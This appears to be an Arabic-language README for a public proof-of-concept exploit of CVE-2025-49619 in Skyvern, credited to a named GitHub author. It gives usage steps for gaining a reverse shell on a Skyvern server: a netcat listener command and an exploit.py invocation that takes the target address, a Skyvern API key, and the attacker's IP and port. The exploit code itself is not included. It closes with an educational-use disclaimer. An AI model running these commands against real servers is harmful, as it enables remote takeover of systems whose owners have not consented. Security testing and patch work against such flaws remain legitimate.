CVE-2025-49619 PoC

يستغل هذا السكربت ثغرة CVE-2025-49619 في Skyvern لتنفيذ أمر قشرة عكسية (reverse shell).

المؤلف

• الاسم: Cristian Branet
• GitHub: cristibtz

الاستخدام

1. تشغيل مستمع (Listener)

nc -lvnp <PORT>

2. تشغيل الاستغلال

python3 exploit.py -u "http://<TARGET_IP>:<TARGET_PORT>" -k "<X-API-KEY>" -i <LOCAL_IP> -p <PORT>

• <TARGET_IP>: عنوان IP لخادم Skyvern
• <TARGET_PORT>: منفذ خادم Skyvern
• <X-API-KEY>: مفتاح API الخاص بـ Skyvern (الإعدادات ← مفتاح API)
• <LOCAL_IP>: عنوان IP الخاص بك لاستقبال القشرة العكسية
• <PORT>: المنفذ للقشرة العكسية (يجب أن يطابق المستمع الخاص بك)

إخلاء مسؤولية:
هذا الكود مخصص لأغراض تعليمية وللاختبار المصرح به فقط.